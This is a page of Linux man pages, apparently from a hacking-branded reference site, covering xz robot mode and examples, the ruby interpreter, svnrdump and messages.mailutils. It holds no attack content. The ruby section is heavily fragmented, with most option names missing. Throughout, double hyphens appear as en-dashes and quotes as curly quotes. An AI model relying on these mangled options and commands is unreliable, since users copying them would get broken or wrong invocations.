Print messages in a machine-parsable format. This is intended to ease writing frontends that want to use xz instead of liblzma, which may be the case with various scripts. The output with this option enabled is meant to be stable across xz releases. See the section ROBOT MODE for details.

–info-memory
Display, in human-readable format, how much physical memory (RAM) and how many processor threads xz thinks the system has and the memory usage limits for compression and decompression, and exit successfully.

-h, –help
Display a help message describing the most commonly used options, and exit successfully.

-H, –long-help
Display a help message describing all features of xz, and exit successfully

-V, –version
Display the version number of xz and liblzma in human readable format. To get machine-parsable output, specify –robot before –version.

ROBOT MODE

The robot mode is activated with the –robot option. It makes the output of xz easier to parse by other programs. Currently –robot is supported only together with –list, –filters-help, –info-memory, and –version. It will be supported for compression and decompression in the future.

List mode

xz –robot –list uses tab-separated output. The first column of every line has a string that indicates the type of the information found on that line:

name
This is always the first line when starting to list a file. The second column on the line is the filename.

file
This line contains overall information about the .xz file. This line is always printed after the name line.

stream
This line type is used only when –verbose was specified. There are as many stream lines as there are streams in the .xz file.

block
This line type is used only when –verbose was specified. There are as many block lines as there are blocks in the .xz file. The block lines are shown after all the stream lines; different line types are not interleaved.

summary
This line type is used only when –verbose was specified twice. This line is printed after all block lines. Like the file line, the summary line contains overall information about the .xz file.

totals
This line is always the very last line of the list output. It shows the total counts and sizes.

The columns of the file lines:

  1. Number of streams in the file

  2. Total number of blocks in the stream(s)

  3. Compressed size of the file

  4. Uncompressed size of the file

  5. Compression ratio, for example, 0.123. If ratio is over 9.999, three dashes () are displayed instead of the ratio.

  6. Comma-separated list of integrity check names. The following strings are used for the known check types: None, CRC32, CRC64, and SHA-256. For unknown check types, **Unknown-**N is used, where N is the Check ID as a decimal number (one or two digits).

  7. Total size of stream padding in the file

The columns of the stream lines:

  1. Stream number (the first stream is 1)

  2. Number of blocks in the stream

  3. Compressed start offset

  4. Uncompressed start offset

  5. Compressed size (does not include stream padding)

  6. Uncompressed size

  7. Compression ratio

  8. Name of the integrity check

  9. Size of stream padding

The columns of the block lines:

  1. Number of the stream containing this block

  2. Block number relative to the beginning of the stream (the first block is 1)

  3. Block number relative to the beginning of the file

  4. Compressed start offset relative to the beginning of the file

  5. Uncompressed start offset relative to the beginning of the file

  6. Total compressed size of the block (includes headers)

  7. Uncompressed size

  8. Compression ratio

  9. Name of the integrity check

If –verbose was specified twice, additional columns are included on the block lines. These are not displayed with a single –verbose, because getting this information requires many seeks and can thus be slow:

  1. Value of the integrity check in hexadecimal

  2. Block header size

  3. Block flags: c indicates that compressed size is present, and u indicates that uncompressed size is present. If the flag is not set, a dash (-) is shown instead to keep the string length fixed. New flags may be added to the end of the string in the future.

  4. Size of the actual compressed data in the block (this excludes the block header, block padding, and check fields)

  5. Amount of memory (in bytes) required to decompress this block with this xz version

  6. Filter chain. Note that most of the options used at compression time cannot be known, because only the options that are needed for decompression are stored in the .xz headers.

The columns of the summary lines:

  1. Amount of memory (in bytes) required to decompress this file with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

The columns of the totals line:

  1. Number of streams

  2. Number of blocks

  3. Compressed size

  4. Uncompressed size

  5. Average compression ratio

  6. Comma-separated list of integrity check names that were present in the files

  7. Stream padding size

  8. Number of files. This is here to keep the order of the earlier columns the same as on file lines.

If –verbose was specified twice, additional columns are included on the totals line:

  1. Maximum amount of memory (in bytes) required to decompress the files with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

Future versions may add new line types and new columns can be added to the existing line types, but the existing columns won’t be changed.

Filters help

xz –robot –filters-help prints the supported filters in the following format:

filter**:option=<value>,option=<value>**…

filter
Name of the filter

option
Name of a filter specific option

value
Numeric value ranges appear as <min-max>. String value choices are shown within < > and separated by a | character.

Each filter is printed on its own line.

Memory limit information

xz –robot –info-memory prints a single line with multiple tab-separated columns:

  1. Total amount of physical memory (RAM) in bytes.

  2. Memory usage limit for compression in bytes (–memlimit-compress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  3. Memory usage limit for decompression in bytes (–memlimit-decompress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  4. Since xz 5.3.4alpha: Memory usage for multi-threaded decompression in bytes (–memlimit-mt-decompress). This is never zero because a system-specific default value shown in the column 5 is used if no limit has been specified explicitly. This is also never greater than the value in the column 3 even if a larger value has been specified with –memlimit-mt-decompress.

  5. Since xz 5.3.4alpha: A system-specific default memory usage limit that is used to limit the number of threads when compressing with an automatic number of threads (–threads=0) and no memory usage limit has been specified (–memlimit-compress). This is also used as the default value for –memlimit-mt-decompress.

  6. Since xz 5.3.4alpha: Number of available processor threads.

In the future, the output of xz –robot –info-memory may have more columns, but never more than a single line.

Version

xz –robot –version prints the version number of xz and liblzma in the following format:

**XZ_VERSION=**XYYYZZZS
**LIBLZMA_VERSION=**XYYYZZZS

X
Major version.

YYY
Minor version. Even numbers are stable. Odd numbers are alpha or beta versions.

ZZZ
Patch level for stable releases or just a counter for development releases.

S
Stability. 0 is alpha, 1 is beta, and 2 is stable. S should be always 2 when YYY is even.

XYYYZZZS are the same on both lines if xz and liblzma are from the same XZ Utils release.

Examples: 4.999.9beta is 49990091 and 5.0.0 is 50000002.

EXIT STATUS

0
All is good.

1
An error occurred.

2
Something worth a warning occurred, but no actual errors occurred.

Notices (not warnings or errors) printed on standard error don’t affect the exit status.

ENVIRONMENT

xz parses space-separated lists of options from the environment variables XZ_DEFAULTS and XZ_OPT, in this order, before parsing the options from the command line. Note that only options are parsed from the environment variables; all non-options are silently ignored. Parsing is done with getopt_long(3) which is used also for the command line arguments.

XZ_DEFAULTS
User-specific or system-wide default options. Typically this is set in a shell initialization script to enable xz’s memory usage limiter by default. Excluding shell initialization scripts and similar special cases, scripts must never set or unset XZ_DEFAULTS.

XZ_OPT
This is for passing options to xz when it is not possible to set the options directly on the xz command line. This is the case when xz is run by a script or tool, for example, GNU tar(1):

XZ_OPT=-2v tar caf foo.tar.xz foo

Scripts may use XZ_OPT, for example, to set script-specific default compression options. It is still recommended to allow users to override XZ_OPT if that is reasonable. For example, in sh(1) scripts one may use something like this:

XZ_OPT=${XZ_OPT-"-7e"} export XZ_OPT

LZMA UTILS COMPATIBILITY

The command line syntax of xz is practically a superset of lzma, unlzma, and lzcat as found from LZMA Utils 4.32.x. In most cases, it is possible to replace LZMA Utils with XZ Utils without breaking existing scripts. There are some incompatibilities though, which may sometimes cause problems.

Compression preset levels

The numbering of the compression level presets is not identical in xz and LZMA Utils. The most important difference is how dictionary sizes are mapped to different presets. Dictionary size is roughly equal to the decompressor memory usage.

LevelxzLZMA Utils
-0256 KiBN/A
-11 MiB64 KiB
-22 MiB1 MiB
-34 MiB512 KiB
-44 MiB1 MiB
-58 MiB2 MiB
-68 MiB4 MiB
-716 MiB8 MiB
-832 MiB16 MiB
-964 MiB32 MiB

The dictionary size differences affect the compressor memory usage too, but there are some other differences between LZMA Utils and XZ Utils, which make the difference even bigger:

LevelxzLZMA Utils 4.32.x
-03 MiBN/A
-19 MiB2 MiB
-217 MiB12 MiB
-332 MiB12 MiB
-448 MiB16 MiB
-594 MiB26 MiB
-694 MiB45 MiB
-7186 MiB83 MiB
-8370 MiB159 MiB
-9674 MiB311 MiB

The default preset level in LZMA Utils is -7 while in XZ Utils it is -6, so both use an 8 MiB dictionary by default.

Streamed vs. non-streamed .lzma files

The uncompressed size of the file can be stored in the .lzma header. LZMA Utils does that when compressing regular files. The alternative is to mark that uncompressed size is unknown and use end-of-payload marker to indicate where the decompressor should stop. LZMA Utils uses this method when uncompressed size isn’t known, which is the case, for example, in pipes.

xz supports decompressing .lzma files with or without end-of-payload marker, but all .lzma files created by xz will use end-of-payload marker and have uncompressed size marked as unknown in the .lzma header. This may be a problem in some uncommon situations. For example, a .lzma decompressor in an embedded device might work only with files that have known uncompressed size. If you hit this problem, you need to use LZMA Utils or LZMA SDK to create .lzma files with known uncompressed size.

Unsupported .lzma files

The .lzma format allows lc values up to 8, and lp values up to 4. LZMA Utils can decompress files with any lc and lp, but always creates files with lc=3 and lp=0. Creating files with other lc and lp is possible with xz and with LZMA SDK.

The implementation of the LZMA1 filter in liblzma requires that the sum of lc and lp must not exceed 4. Thus, .lzma files, which exceed this limitation, cannot be decompressed with xz.

LZMA Utils creates only .lzma files which have a dictionary size of 2^n (a power of 2) but accepts files with any dictionary size. liblzma accepts only .lzma files which have a dictionary size of 2^n or 2^n + 2^(n-1). This is to decrease false positives when detecting .lzma files.

These limitations shouldn’t be a problem in practice, since practically all .lzma files have been compressed with settings that liblzma will accept.

Trailing garbage

When decompressing, LZMA Utils silently ignore everything after the first .lzma stream. In most situations, this is a bug. This also means that LZMA Utils don’t support decompressing concatenated .lzma files.

If there is data left after the first .lzma stream, xz considers the file to be corrupt unless –single-stream was used. This may break obscure scripts which have assumed that trailing garbage is ignored.

NOTES

Compressed output may vary

The exact compressed output produced from the same uncompressed input file may vary between XZ Utils versions even if compression options are identical. This is because the encoder can be improved (faster or better compression) without affecting the file format. The output can vary even between different builds of the same XZ Utils version, if different build options are used.

The above means that once –rsyncable has been implemented, the resulting files won’t necessarily be rsyncable unless both old and new files have been compressed with the same xz version. This problem can be fixed if a part of the encoder implementation is frozen to keep rsyncable output stable across xz versions.

Embedded .xz decompressors

Embedded .xz decompressor implementations like XZ Embedded don’t necessarily support files created with integrity check types other than none and crc32. Since the default is –check=crc64, you must use –check=none or –check=crc32 when creating files for embedded systems.

Outside embedded systems, all .xz format decompressors support all the check types, or at least are able to decompress the file without verifying the integrity check if the particular check is not supported.

XZ Embedded supports BCJ filters, but only with the default start offset.

EXAMPLES

Basics

Compress the file foo into foo.xz using the default compression level (-6), and remove foo if compression is successful:

xz foo

Decompress bar.xz into bar and don’t remove bar.xz even if decompression is successful:

xz -dk bar.xz

Create baz.tar.xz with the preset -4e (-4 –extreme), which is slower than the default -6, but needs less memory for compression and decompression (48 MiB and 5 MiB, respectively):

tar cf - baz | xz -4e > baz.tar.xz

A mix of compressed and uncompressed files can be decompressed to standard output with a single command:

xz -dcf a.txt b.txt.xz c.txt d.txt.lzma > abcd.txt

Parallel compression of many files

On GNU and *BSD, find(1) and xargs(1) can be used to parallelize compression of many files:

find . -type f ! -name ‘*.xz’ -print0
| xargs -0r -P4 -n16 xz -T1

The -P option to xargs(1) sets the number of parallel xz processes. The best value for the -n option depends on how many files there are to be compressed. If there are only a couple of files, the value should probably be 1; with tens of thousands of files, 100 or even more may be appropriate to reduce the number of xz processes that xargs(1) will eventually create.

The option -T1 for xz is there to force it to single-threaded mode, because xargs(1) is used to control the amount of parallelization.

Robot mode

Calculate how many bytes have been saved in total after compressing multiple files:

xz –robot –list *.xz | awk ‘/^totals/{print $5-$4}’

A script may want to know that it is using new enough xz. The following sh(1) script checks that the version number of the xz tool is at least 5.0.0. This method is compatible with old beta versions, which didn’t support the –robot option:

if ! eval “$(xz –robot –version 2> /dev/null)” || [ “$XZ_VERSION” -lt 50000002 ]; then echo “Your xz is too old.” fi unset XZ_VERSION LIBLZMA_VERSION

Set a memory usage limit for decompression using XZ_OPT, but if a limit has already been set, don’t increase it:

NEWLIM=$((123 « 20)) # 123 MiB OLDLIM=$(xz –robot –info-memory | cut -f3) if [ $OLDLIM -eq 0 -o $OLDLIM -gt $NEWLIM ]; then XZ_OPT="$XZ_OPT –memlimit-decompress=$NEWLIM" export XZ_OPT fi

Custom compressor filter chains

The simplest use for custom filter chains is customizing a LZMA2 preset. This can be useful, because the presets cover only a subset of the potentially useful combinations of compression settings.

The CompCPU columns of the tables from the descriptions of the options -0-9 and –extreme are useful when customizing LZMA2 presets. Here are the relevant parts collected from those two tables:

PresetCompCPU
-00
-11
-22
-33
-44
-55
-66
-5e7
-6e8

If you know that a file requires somewhat big dictionary (for example, 32 MiB) to compress well, but you want to compress it quicker than xz -8 would do, a preset with a low CompCPU value (for example, 1) can be modified to use a bigger dictionary:

xz –lzma2=preset=1,dict=32MiB foo.tar

With certain files, the above command may be faster than xz -6 while compressing significantly better. However, it must be emphasized that only some files benefit from a big dictionary while keeping the CompCPU value low. The most obvious situation, where a big dictionary can help a lot, is an archive containing very similar files of at least a few megabytes each. The dictionary size has to be significantly bigger than any individual file to allow LZMA2 to take full advantage of the similarities between consecutive files.

If very high compressor and decompressor memory usage is fine, and the file being compressed is at least several hundred megabytes, it may be useful to use an even bigger dictionary than the 64 MiB that xz -9 would use:

xz -vv –lzma2=dict=192MiB big_foo.tar

Using -vv (–verbose –verbose) like in the above example can be useful to see the memory requirements of the compressor and decompressor. Remember that using a dictionary bigger than the size of the uncompressed file is waste of memory, so the above command isn’t useful for small files.

Sometimes the compression time doesn’t matter, but the decompressor memory usage has to be kept low, for example, to make it possible to decompress the file on an embedded system. The following command uses -6e (-6 –extreme) as a base and sets the dictionary to only 64 KiB. The resulting file can be decompressed with XZ Embedded (that’s why there is –check=crc32) using about 100 KiB of memory.

xz –check=crc32 –lzma2=preset=6e,dict=64KiB foo

If you want to squeeze out as many bytes as possible, adjusting the number of literal context bits (lc) and number of position bits (pb) can sometimes help. Adjusting the number of literal position bits (lp) might help too, but usually lc and pb are more important. For example, a source code archive contains mostly US-ASCII text, so something like the following might give slightly (like 0.1 %) smaller file than xz -6e (try also without lc=4):

xz –lzma2=preset=6e,pb=0,lc=4 source_code.tar

Using another filter together with LZMA2 can improve compression with certain file types. For example, to compress a x86-32 or x86-64 shared library using the x86 BCJ filter:

xz –x86 –lzma2 libfoo.so

Note that the order of the filter options is significant. If –x86 is specified after –lzma2, xz will give an error, because there cannot be any filter after LZMA2, and also because the x86 BCJ filter cannot be used as the last filter in the chain.

The Delta filter together with LZMA2 can give good results with bitmap images. It should usually beat PNG, which has a few more advanced filters than simple delta but uses Deflate for the actual compression.

The image has to be saved in uncompressed format, for example, as uncompressed TIFF. The distance parameter of the Delta filter is set to match the number of bytes per pixel in the image. For example, 24-bit RGB bitmap needs dist=3, and it is also good to pass pb=0 to LZMA2 to accommodate the three-byte alignment:

xz –delta=dist=3 –lzma2=pb=0 foo.tiff

If multiple images have been put into a single archive (for example, .tar), the Delta filter will work on that too as long as all images have the same number of bytes per pixel.

SEE ALSO

xzdec(1), xzdiff(1), xzgrep(1), xzless(1), xzmore(1), gzip(1), bzip2(1), 7z(1)

XZ Utils: <https://tukaani.org/xz/>
XZ Embedded: <https://tukaani.org/xz/embedded.html>
LZMA SDK: <https://7-zip.org/sdk.html>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2196 - Linux cli command ruby

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ruby and provides detailed information about the command ruby, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ruby.

Ruby is an interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (like in Perl). It is simple, straight-forward, and extensible.

If you want a language for easy object-oriented programming, or you don’t like the Perl ugliness, or you do like the concept of LISP, but don’t like too many parentheses, Ruby might be your language of choice.

Ruby’s features are as follows:

Ruby is an interpreted language, so you don’t have to recompile programs written in Ruby to execute them.

Variables in Ruby can contain data of any type. You don’t have to worry about variable typing. Consequently, it has a weaker compile time check.

You can use variables in your Ruby programs without any declarations. Variable names denote their scope - global, class, instance, or local.

Ruby has a simple syntax influenced slightly from Eiffel.

Ruby has automatic memory management. Objects no longer referenced from anywhere are automatically collected by the garbage collector built into the interpreter.

Ruby is a purely object-oriented language, and was so since its creation. Even such basic data as integers are seen as objects.

Being an object-oriented language, Ruby naturally has basic features like classes, inheritance, and methods.

Ruby has the ability to define methods for certain objects. For example, you can define a press-button action for certain widget by defining a singleton method for the button. Or, you can make up your own prototype based object system using singleton methods, if you want to.

Ruby intentionally does not have the multiple inheritance as it is a source of confusion. Instead, Ruby has the ability to share implementations across the inheritance tree. This is often called a

Ruby has iterators for loop abstraction.

In Ruby, you can objectify the procedure.

Ruby has a bunch of text processing features like in Perl.

Ruby supports multilingualized programming. Easy to process texts written in many different natural languages and encoded in many different character encodings, without dependence on Unicode.

With built-in bignums, you can for example calculate factorial(400).

Class is also an instance of the Class class. Definition of classes and methods is an expression just as 1+1 is. So your programs can even write and modify programs. Thus you can write your application in your own programming language on top of Ruby.

As in Java(tm).

Ruby can use most

system calls, often used in system programming.

On most

systems, you can load object files into the Ruby interpreter on-the-fly.

In addition to the

and

that are bundled with Ruby, a vast amount of third-party libraries

are available via the package management system called

namely the

command. Visit RubyGems.org

to find the gems you need, and explore GitHub

to see how they are being developed and used.

The Ruby interpreter accepts the following command-line options (switches). They are quite similar to those of

Prints the copyright notice, and quits immediately without running any script.

Prints the version of the Ruby interpreter, and quits immediately without running any script.

(The digit

Specifies the input record separator

as an octal number. If no digit is given, the null character is taken as the separator. Other switches may follow the digits.

turns Ruby into paragraph mode.

makes Ruby read whole file at once as a single string since there is no legal character with that value.

Causes Ruby to switch to the directory.

Specifies the default value(s) for external encodings and internal encoding. Values should be separated with colon (:).

You can omit the one for internal encodings, then the value

Specify the default external or internal character encoding

Specifies input field separator

Used to tell Ruby where to load the library scripts. Directory path will be added to the load-path variable

Specifies KANJI (Japanese) encoding. The default value for script encodings

can be one of

EUC-JP

Windows-31J (CP932)

UTF-8

ASCII-8BIT (BINARY)

Makes Ruby use the

environment variable to search for script, unless its name begins with a slash. This is used to emulate

on machines that don’t support it, in the following manner:

#! /usr/local/bin/ruby # This line makes the next one a comment in Ruby \ exec /usr/local/bin/ruby -S $0 $*

On some systems

does not always contain the full pathname, so you need the

switch to tell Ruby to search for the script if necessary (to handle embedded spaces and such). A better construct than

would be

but it does not work if the script is being interpreted by

Turns on taint checks at the specified level (default 1).

Sets the default value for internal encodings

Turns on verbose mode at the specified level without printing the version message at the beginning. The level can be;

Verbose mode is “silence”. It sets the

to nil.

Verbose mode is “medium”. It sets the

to false.

Verbose mode is “verbose”. It sets the

to true.

2 is the same as

Turns on auto-split mode when used with

or

In auto-split mode, Ruby executes

at beginning of each loop.

Causes Ruby to check the syntax of the script and exit without executing. If there are no syntax errors, Ruby will print

to the standard output.

Turns on debug mode.

will be set to true.

Specifies script from command-line while telling Ruby not to search the rest of the arguments for a script file name.

Prints a summary of the options.

Specifies in-place-edit mode. The extension, if specified, is added to old file name to make a backup copy. For example:

% echo matz > /tmp/junk % cat /tmp/junk matz % ruby -p -i.bak -e ‘$_.upcase!’ /tmp/junk % cat /tmp/junk MATZ % cat /tmp/junk.bak matz

(The lowercase letter

Enables automatic line-ending processing, which means to firstly set

to the value of

and secondly chops every line read using

Causes Ruby to assume the following loop around your script, which makes it iterate over file name arguments somewhat like

or

while gets … end

Acts mostly same as -n switch, but print the value of variable

at the each end of the loop. For example:

% echo matz | ruby -p -e ‘$_.tr! “a-z”, “A-Z”’ MATZ

Causes Ruby to load the library using require. It is useful when using

or

Enables some switch parsing for switches after script name but before any file name arguments (or before a

Any switches found there are removed from

and set the corresponding variable in the script. For example:

#! /usr/local/bin/ruby -s # prints “true” if invoked with `-xyz’ switch. print “true " if $xyz

Enables verbose mode. Ruby will print its version at the beginning and set the variable

to true. Some methods print extra messages if this variable is true. If this switch is given, and no other switches are present, Ruby quits after printing its version.

Enables verbose mode without printing version message at the beginning. It sets the

variable to true.

Tells Ruby that the script is embedded in a message. Leading garbage will be discarded until the first line that starts with

and contains the string,

Any meaningful switches on that line will be applied. The end of the script must be specified with either

or the reserved word

If the directory name is specified, Ruby will switch to that directory before executing script.

DO NOT USE.

Turns on compiler debug mode. Ruby will print a bunch of internal state messages during compilation. Only specify this switch you are going to debug the Ruby interpreter.

Disables (or enables) the specified

Disables (or enables) RubyGems libraries. By default, Ruby will load the latest version of each installed gem. The

constant is true if RubyGems is enabled, false if otherwise.

Ignores (or considers) the

environment variable. By default, Ruby considers the variable.

Disables (or enables) all features.

Dump some information.

Prints the specified target.

can be one of;

version description same as

brief usage message same as

Show long help message same as

check of syntax same as

compiler debug mode, same as

Only specify this switch if you are going to debug the Ruby interpreter.

AST nodes tree

Only specify this switch if you are going to debug the Ruby interpreter.

disassembled instructions

Only specify this switch if you are going to debug the Ruby interpreter.

Enables verbose mode without printing version message at the beginning. It sets the

variable to true. If this switch is given, and no script arguments (script file or

options) are present, Ruby quits immediately.

A colon-separated list of directories that are added to Ruby’s library load path

before the standard load path is searched.

e.g.:

Additional Ruby options.

e.g.

Note that RUBYOPT can contain only

and

A colon-separated list of directories that Ruby searches for Ruby programs when the

flag is specified. This variable precedes the

environment variable.

The path to the system shell command. This environment variable is enabled for only mswin32, mingw32, and OS/2 platforms. If this variable is not defined, Ruby refers to

Ruby refers to the

environment variable on calling Kernel#system.

And Ruby depends on some RubyGems related environment variables unless RubyGems is disabled. See the help of

as below.

% gem help

The Ruby garbage collector (GC) tracks objects in fixed-sized slots, but each object may have auxiliary memory allocations handled by the malloc family of C standard library calls (

and

In this documentatation, the “heap” refers to the Ruby object heap of fixed-sized slots, while “malloc” refers to auxiliary allocations commonly referred to as the “process heap”. Thus there are at least two possible ways to trigger GC:

Reaching the object limit.

Reaching the malloc limit.

In Ruby 2.1, the generational GC was introduced and the limits are divided into young and old generations, providing two additional ways to trigger a GC:

Reaching the old object limit.

Reaching the old malloc limit.

There are currently 4 possible areas where the GC may be tuned by the following 11 environment variables:

Initial allocation slots. Introduced in Ruby 2.1, default: 10000.

Prepare at least this amount of slots after GC. Allocate this number slots if there are not enough slots. Introduced in Ruby 2.1, default: 4096

Increase allocation rate of heap slots by this factor. Introduced in Ruby 2.1, default: 1.8, minimum: 1.0 (no growth)

Allocation rate is limited to this number of slots, preventing excessive allocation due to RUBY_GC_HEAP_GROWTH_FACTOR. Introduced in Ruby 2.1, default: 0 (no limit)

Perform a full GC when the number of old objects is more than R * N, where R is this factor and N is the number of old objects after the last full GC. Introduced in Ruby 2.1.1, default: 2.0

The initial limit of young generation allocation from the malloc-family. GC will start when this limit is reached. Default: 16MB

The maximum limit of young generation allocation from malloc before GC starts. Prevents excessive malloc growth due to RUBY_GC_MALLOC_LIMIT_GROWTH_FACTOR. Introduced in Ruby 2.1, default: 32MB.

Increases the limit of young generation malloc calls, reducing GC frequency but increasing malloc growth until RUBY_GC_MALLOC_LIMIT_MAX is reached. Introduced in Ruby 2.1, default: 1.4, minimum: 1.0 (no growth)

The initial limit of old generation allocation from malloc, a full GC will start when this limit is reached. Introduced in Ruby 2.1, default: 16MB

The maximum limit of old generation allocation from malloc before a full GC starts. Prevents excessive malloc growth due to RUBY_GC_OLDMALLOC_LIMIT_GROWTH_FACTOR. Introduced in Ruby 2.1, default: 128MB

Increases the limit of old generation malloc allocation, reducing full GC frequency but increasing malloc growth until RUBY_GC_OLDMALLOC_LIMIT_MAX is reached. Introduced in Ruby 2.1, default: 1.2, minimum: 1.0 (no growth)

Stack size environment variables are implementation-dependent and subject to change with different versions of Ruby. The VM stack is used for pure-Ruby code and managed by the virtual machine. Machine stack is used by the operating system and its usage is dependent on C extensions as well as C compiler options. Using lower values for these may allow applications to keep more Fibers or Threads running; but increases the chance of SystemStackError exceptions and segmentation faults (SIGSEGV). These environment variables are available since Ruby 2.0.0. All values are specified in bytes.

VM stack size used at thread creation. default: 524288 (32-bit CPU) or 1048575 (64-bit)

Machine stack size used at thread creation. default: 524288 or 1048575

VM stack size used at fiber creation. default: 65536 or 131072

Machine stack size used at fiber creation. default: 262144 or 524288

The official web site.

Comprehensive catalog of Ruby libraries.

Security vulnerabilities should be reported via an email to

Reported problems will be published after being fixed.

Other bugs and feature requests can be reported via the Ruby Issue Tracking System

Do not report security vulnerabilities via this system because it publishes the vulnerabilities immediately.

Ruby is designed and implemented by

See

for contributors to Ruby.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2197 - Linux cli command svnrdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svnrdump and provides detailed information about the command svnrdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svnrdump.

NAME 🖥️ svnrdump 🖥️

Subversion remote repository dumper and loader

SYNOPSIS

svnrdump command url [options] [args]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svnrdump help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2198 - Linux cli command messages.mailutils

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command messages.mailutils and provides detailed information about the command messages.mailutils, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the messages.mailutils.

NAME 🖥️ messages.mailutils 🖥️

count the number of messages in a mailbox

SYNOPSIS

messages.mailutils [OPTION…] [mailbox…]

DESCRIPTION

GNU messages count the number of messages in a mailbox

-q, -s, –[no-]quiet, –silent
only display number of messages

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

